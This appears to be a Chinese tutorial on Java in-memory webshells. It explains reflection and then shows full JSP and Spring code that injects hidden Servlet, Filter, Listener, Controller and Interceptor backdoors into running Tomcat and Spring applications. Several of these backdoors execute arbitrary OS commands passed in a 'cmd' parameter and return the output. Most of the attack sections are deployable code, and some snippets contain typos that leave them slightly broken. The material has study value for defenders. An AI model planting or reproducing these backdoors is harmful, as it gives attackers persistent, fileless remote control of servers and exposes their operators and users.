在学习内存马前,先需要了解一下Java中的一种语言特性----反射
Java反射机制
- Java反射允许程序在运行时自我检查并对内部成员进行操作,动态调用信息以及动态调用对象方法
反射机制允许在运行状态中:
- 对于任意一个类,都知道这个类的所有属性和方法
- 对于任意一个对象,都能够调用它的任意方法和属性,并且能改变它的属性。
Java反射操作的是
java.lang.class
对象,所有需要想办法获取到Class
对象,下列是三种方式获取一个类的Class
对象- `类名.class`,如:`com.anbai.sec.classloader.TestHelloWorld.class`。 - `Class.forName("com.anbai.sec.classloader.TestHelloWorld")`。 - `classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");`
对获取数组类型的
Class
对象需要特别注意,应使用Java
类型的描述符方式Class<?> doubleArray = Class.forName("[D");//相当于double[].class Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
获取
Runtime
类Class
对象时,则可以使用3中的三种方法String className = "java.lang.Runtime" Class runtimeName1 = java.lang.Runtime.class; Class runtimeName2 = Class.forName("className"); Class runtimeName3 = ClassLoader.getSystemClassLoader().LoaderClass(className);
- 反射调用内部类的时候需要使用
$
来代替.
,例如:com.lain.Test类有个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.lain.Test$Hello
Runtime类反射
在Runtime
类中有一个exec
方法可以执行本地命令,所以在大多数的payload中都能看见反射调用Runtime
类来执行本地系统命令,
当我们不使用反射执行本地命令代码片段:
System.out.printn(org.apache.io.IOUtils.toString(Runtime,getRuntime().exec("whoami").getInputStream(),"UTF-8"));//输出命令执行结果
使用反射
Runtime
执行本地命令:Class runtimeClass1 = Class.forName("java.lang.Runtime");//获取Runtime类 Constructor constructor = runtimeClass1.getDeclaredConstructor(); //runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。 constructor.setAccessible(true); //当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。 Object runtimeInstance = constructor.newInstance(); //创建Runtime实例,等价 Runtime rt = new Runtime(); Method runtimeMethod = runtimeClass1.getMethod("exec",String.class); //获取Runtime类中的exec方法 Process process = (process) runtimeMethod.invoke(runtimeInstance,cmd); //调用exec方法,等价rt.exec() InputStream in = proecss.getInputStream(); //获取命令执行结果 System.out.println(org.apache.commons.io.IOUtils.toString(in,"UTF-8")); //打印命令执行结果
流程如下:
- 反射获取
Runtime
类对象(Class.forName("java.lang.Runtime")
)。 - 使用
Runtime
类的Class对象获取Runtime
类的无参数构造方法(getDeclaredConstructor()
),因为Runtime
的构造方法是private
的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true)
)。 获取
Runtime
类的exec(String)
方法(runtimeClass1.getMethod("exec", String.class);
)。Method method = clazz.getDeclaredMethod("方法名"); Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);
调用
exec(String)
方法(runtimeMethod.invoke(runtimeInstance, cmd)
)method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
- 反射获取
使用反射调用成员变量
获取当前类的所有成员变量:
Field fields = clazz.getDeclaredFields();
获取当前类指定的成员变量:
Field field = clazz.getDeclaredField("变量名");
getField
和getDeclaredField
的区别同getMethod
和getDeclaredMethod
。
获取成员变量值:
Object obj = field.get(类实例对象);
修改成员变量值:
field.set(类实例对象, 修改后的值);
同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)
的方式修改为访问成员变量访问权限
如果我们需要修改被final
关键字修饰的成员变量,那么我们需要先修改方法
// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");
// 设置modifiers修改权限
modifiers.setAccessible(true);
// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// 修改成员变量值
field.set(类实例对象, 修改后的值);
内存马
概念:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门。
内存马主要分以下几种方式:
- 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
- 动态注册 interceptor/controller(使用框架如 spring/struts2)
- 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
- 使用 java agent 技术写入字节码
Servlet内存马
- 首先介绍一下
servlet
,Servlet
是在Java Web
容器中运行的小程序
,通常我们用Servlet
来处理一些较为复杂的服务器端的业务逻辑。Servlet
是Java EE
的核心,也是所有的MVC框架的实现的根本 编写一个servlet代码
package com.example.memshell; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class Myservlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().println("Myservlet"); } }
- 在web.xml中插入配置servlet标签
- 运行项目即可访问到我们编写的servlet文件
- 查看
ContextConfig.java
文件,其中configureContext
函数将servlet
加载入tomcat容器中,查看调试中的对应关系 在
ContextConfig
函数中有两行主要代码context.addChild(wrapper);//向容器添加我们的servlet context.addServletMappingDecoded(entry.getKey(), entry.getValue()); //声明servlet与url的映射关系
我们需要获取
context
来执行以上代码通过调试我们的
Myservlet
,发现在req.getservletContext()
有一个ServletContext
,然后在ServletContext
中又包含一个Context
,其中context
中有一个StandardContext
流程:
HttpServletRequest
->getServletContext()
->ApplicationContext
->StandardContext
编写恶意代码
定义恶意
servlet
类<%! //定义恶意servlet public class Memservlet extends HttpServlet{ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Runtime.getRuntime().exec("calc"); } } %>
获取
context:StandardContext
(通过反射)//通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
从
context
获取Wrapper
对象//将MemServlet封装到wrapper Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("memshell"); wrapper.setServletClass(Memservlet.class.getName()); wrapper.setServlet(new Memservlet());
将恶意
servlet
封装进Wrapper
对象//将wrapper添加到standardContext,并设置映射URL standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/mem","memshell");//第二个参数需要跟前面setname一致
示例代码
<%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! //定义恶意servlet public class Memservlet extends HttpServlet{ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Runtime.getRuntime().exec("calc"); } } %> <% //通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext); //将MemServlet封装到wrapper Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("memshell"); wrapper.setServletClass(Memservlet.class.getName()); wrapper.setServlet(new Memservlet()); //将wrapper添加到standardContext,并设置映射URL standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/mem","memshell"); //第二个参数需要跟前面setname一致 %>
Filter内存马
提要:Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet
。
如
Servlet
一样编写一个HelloFilter
文件,在super.doFilter
处下断点,然后运行项目进行调试package com.example.memshell3; import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpFilter; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class HelloFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException, ServletException { String cmd = req.getParameter("cmd"); if (cmd == null) { super.doFilter(req, res, chain); }else { res.setContentType("text/html"); res.getWriter().println("你输入的命令是:"+cmd); } } }
- 程序停止在
ApplicationFilterChain
类中,他内部的DoFilter
函数在Filter
的数组中拿到了一个Filter
,并且每次执行一次DoFilter
函数相应的指针都加一位,代表服务端到Servlet
,中间有若干个Filter - 双击
filter
数组发现由addFilter
给数组赋值,在ApplicationFilterFactory
中有createFilterChain
会返回ApplicationFilterChain
,createFilterChain
会调用addFilter
给Filterchain
中添加Filter
数组,而invoke
会调用createFilterChain
- 在
ApplicationFilterFactory
中createFilterChain
函数处下断点重新调试,发现下面有一个filterMaps
数组,将程序运行至if
处,在下面的变量处得到了filterMaps
createFilterChain
通过调用StandardContext
的findFilterMap
来初始化ApplicationFilterChain
,从StandardContext
来获取数据并且
filterConfig
不为空if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName())); continue; }
StandrdContext
中包含一个filterConfig
(hashmap
),我们需要给filtermap
和filterconfig
进行赋值,还需要创建Filtermap
、ApplicationConfig
和FilterDef
,在FilterMap
中包含filterName
和urlPathod
- 将自己创建的Filter添加到
FilterMap
中,然后再添加到FilterDefs
,再调用Filterstart
方法
编写恶意代码
获取
StandardContext
方法与servlet
类似//通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
再编写一个恶意
Filter
类<%! public class ShellFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { // String cmd = req.getParameter("cmd"); // if (cmd == null) { // super.doFilter(req, res, chain); // }else { // res.setContentType("text/html"); // res.getWriter().println("你输入的命令是:"+cmd); // } // super.doFilter(req,res,chain); Runtime.getRuntime().exec("calc"); } } %>
再创建
Filtermap
、FilterDef
,调用filterStart
方法ShellFilter filter = new ShellFilter(); FilterDef def = new FilterDef(); def.setFilterName("shell-filter"); def.setFilter(filter); def.setFilterClass(filter.getClass().getName()); FilterMap map = new FilterMap(); map.setFilterName("shell-filter"); map.addURLPattern("/*"); standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart();
示例代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="static java.lang.System.out" %>
<%!
public class ShellFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
// String cmd = req.getParameter("cmd");
// if (cmd == null) {
// super.doFilter(req, res, chain);
// }else {
// res.setContentType("text/html");
// res.getWriter().println("你输入的命令是:"+cmd);
// }
// super.doFilter(req,res,chain);
Runtime.getRuntime().exec("calc");
}
}
%>
<%
//通过反射,拿到getServletContext
ServletContext servletContext = request.getServletContext();
//通过getServletContext拿到applicationContext
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField=applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
ShellFilter filter = new ShellFilter();
FilterDef def = new FilterDef();
def.setFilterName("shell-filter");
def.setFilter(filter);
def.setFilterClass(filter.getClass().getName());
FilterMap map = new FilterMap();
map.setFilterName("shell-filter");
map.addURLPattern("/*");
standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();
out.println("success");
%>
Listener内存马
提要:Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作
ServletContextListener | 用于监听整个 Servlet 上下文(创建、销毁) |
---|---|
HttpSessionListener | 当一个HttpSession 刚被创建或失效时 |
ServletContextAttributeListener | 对 Servlet 上下文属性进行监听(增删改属性) |
ServletRequestListener | 对 Request 请求进行监听(创建、销毁) |
ServletRequestAttributeListener | 对 Request 属性进行监听(增删改属性) |
javax.servlet.http.HttpSessionListener | 对 Session 整体状态的监听 |
javax.servlet.http.HttpSessionAttributeListener | 对 Session 属性的监听 |
- 创建一个Listener,对函数打个断点,进行调试,查看谁调用的我们创建的监听器
发现是
StandardContext
在调用Listener
,StandardContext
使用requestDestroyed
方法进行调用,instance
装载着我们自定义的Listener
,它通过getApplicationEventListeners
方法进行装载,它会调起List中所有的Listener流程:
StandardContext
(FireRequestInitializeEventListener
)->ServletRequestListener
(RequestInitialized
)
编写恶意代码
获取
standradcontext
//通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext); standardContext.addApplicationEventListener(new MyListener());
- 创建恶意Listener
<%!
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
Class facadeClass = req.getClass();
try {
Field requestField = facadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null)
request.getResponse().getWriter().println(line);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
%>
实例代码
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.*"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="jakarta.servlet.ServletRequestEvent" %>
<%@ page import="jakarta.servlet.ServletRequest" %>
<%@ page import="jakarta.servlet.ServletRequestListener" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
Class facadeClass = req.getClass();
try {
Field requestField = facadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null)
request.getResponse().getWriter().println(line);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
%>
<%
//通过反射,拿到getServletContext
ServletContext servletContext = request.getServletContext();
//通过getServletContext拿到applicationContext
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField=applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
standardContext.addApplicationEventListener(new MyListener());
out.println("miao~ miao~ miao~");
%>
spring内存马---Controller
提要:Controller
负责处理DispatcherServlet
分发的请求。将用户请求处理后封装成model返回给view
。在springmvc
中用@Controller标记一个类为Controller
。然后用@RequestMapping
等来定义URL请求和Controller
方法间的映射
- 在demo中编写一个
MyController
,对编写的Controller
进行调试 Controller
的注册在DoDispatch
处由DispatcherServlet
处理web请求,在DispatcherServlet
调用HandlerAdapter#handle
处理request
和response
。并且此处用getHandler
方法获取了mappedHandler
的Handler
,mappedHandler
是对handlerMappings
进行遍历 ,在handlerMapping
列表中找对应的处理程序.所以在
reture handler
处下断点这里我们从
RequestMappingHandlerMapping
获取到了Mapping
,并且调用了getHandler方法发现在
AbstractHandlerMapping.java
中有getHandler
函数再进行跟进,发现
AbstractHandlerMethodMapping#getHandlerInternal()
中对mappingRegistry
进行上锁,最后解锁。而在
lookupHandlerMethod
方法中mappingRegistry
获取到了路由,也就是说模拟注册向mappingRegistry
中添加内存马路由,就能注入内存马在
AbstractHandlerMethodMapping.java
中有registerMapping
方法能够添加路由这个类为抽象类,抽象类的父类不一定会有
RequestMappingHandlerMapping
的实例,但子类一定可以进行实例化。找到handlerMappings
第一次赋值的地方发现当
detectAllHandlerMappings
为真,那么就会从BeanFactoryUtils.beansOfTypeIncludingAncestors(context, HandlerMapping.class, true, false);
获取所有
HandlerMappings
并且赋值给handlerMappings
的数组,否则就从context中获取一个指定名称的变量。在
doService
中request set
了一些属性其中就包括WEB_APPLICATION_CONTEXT_ATTRIBUTE
,其中就包含application.context
而
getWebApplicationContext()
函数的WebApplicationContext
类正是ApplicationContext
的直接子类
编写恶意代码
首先需要先获取
WebApplicationContext
。在内存马的构造中,都会获取容器的context
对象。在Tomcat
中获取的是StandardContext
,spring
中获取的是WebApplicationContext
。WebApplicationContext
继承了BeanFactory
,所以能用getBean
直接获取RequestMappingHandlerMapping
,进而注册路由。WebApplicationContext context=(WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); mapping.registerMapping(null,null,null);
创建恶意Class
public class InnerClass { public String evil() { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd"); Runtime runtime = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); try{ Process proc = runtime.exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line = null; while((line = reader.readLine())!=null){ sb.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } return sb.toString(); } }
然后在我们要获取
webapplicationContext
的方法里面new一下,将类填入mapping.registerMapping
的第二个参数,第三个参数填入controller.getclass().getMethod()
,getMethod
中填入我们恶意类中的方法mapping.registerMapping(null,innerClass,innerClass.getClass().getMethod("evil"));
生成
RequestMappingInfo
。传入PatternsRequestCondition
Controller映射的URL)和RequestMethodsRequestCondition
(HTTP请求方法)RequestMappingInfo info = new RequestMappingInfo( new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), null,null,null,null,null);
将
info
填入mapping.registerMapping
第一个参数
实例代码
package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
@RestController
public class MyController {
@RequestMapping(value = "/index")
public String index() {
return "Hello World";
}
@RequestMapping(value = "/java1")
public String java1() throws NoSuchMethodException {
WebApplicationContext context= (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
InnerClass innerClass = new InnerClass();
RequestMappingInfo info = new RequestMappingInfo(
new PatternsRequestCondition("/evil"),
new RequestMethodsRequestCondition(),
null,null,null,null,null);
mapping.registerMapping(info,innerClass,innerClass.getClass().getMethod("evil"));
return "success";
}
@RestController
public class InnerClass {
public String evil() {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
String cmd = request.getParameter("cmd");
Runtime runtime = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try{
Process proc = runtime.exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = null;
while((line = reader.readLine())!=null){
sb.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
return sb.toString();
}
}
}
spring内存马---Interceptor
提要:Interceptor
和Tomcat
和Filter
过滤器很类似。区别如下:
Interceptor
基于反射,Filter
基于函数回调Interceptor
不依赖servlet
容器Interceptor
只能对action
请求有用Interceptor
可以访问action
上下文,栈里的对象。Filter
不能action
生命周期中,Interceptor
可以被多次调用,Filter
只在容器初始化时调用一次Interceptor
可以获取IOC
容器中的bean
,Filter
不行
由以上区别,Interceptor
的应用和过滤器也就不同,Interceptor
用来做日志记录,过滤器用来过滤非法操作
- 对我们自己的Interceptor进行调试,在
DispatcherServlet
中getHandler
被调用,持续跟进发现调用AbstractHandlerMapping#getHanler()
,在getHandler
方法调用了getHandlerExecutionChain
- 在
AbstractHandlerMapping#getHandlerExecutionChain
方法中,它将符合条件的Interceptor
添加到chain
中,我们需要把我们创建的拦截器添加到List中 AbstractHandlerMapping
的子类的实例对象可以通过web.appliction.context
拿到,但adaptedInterceptors
为私有变量,所以需要使用反射进行获取- 而applyPreHandle会将List中所有拦截器调用
示例恶意代码
package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.List;
@RestController
public class MyController {
@RequestMapping(value = "/index")
public String index() {
return "Hello World";
}
@RequestMapping(value = "/inject2")
public String inject2() {
WebApplicationContext context= (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
try {
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InoInterceptor());
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject2 success";
}
public class InoInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(javax.servlet.http.HttpServletRequest request , javax.servlet.http.HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
response.getWriter().println(line);
}
return false;
}
return true;
}
}
}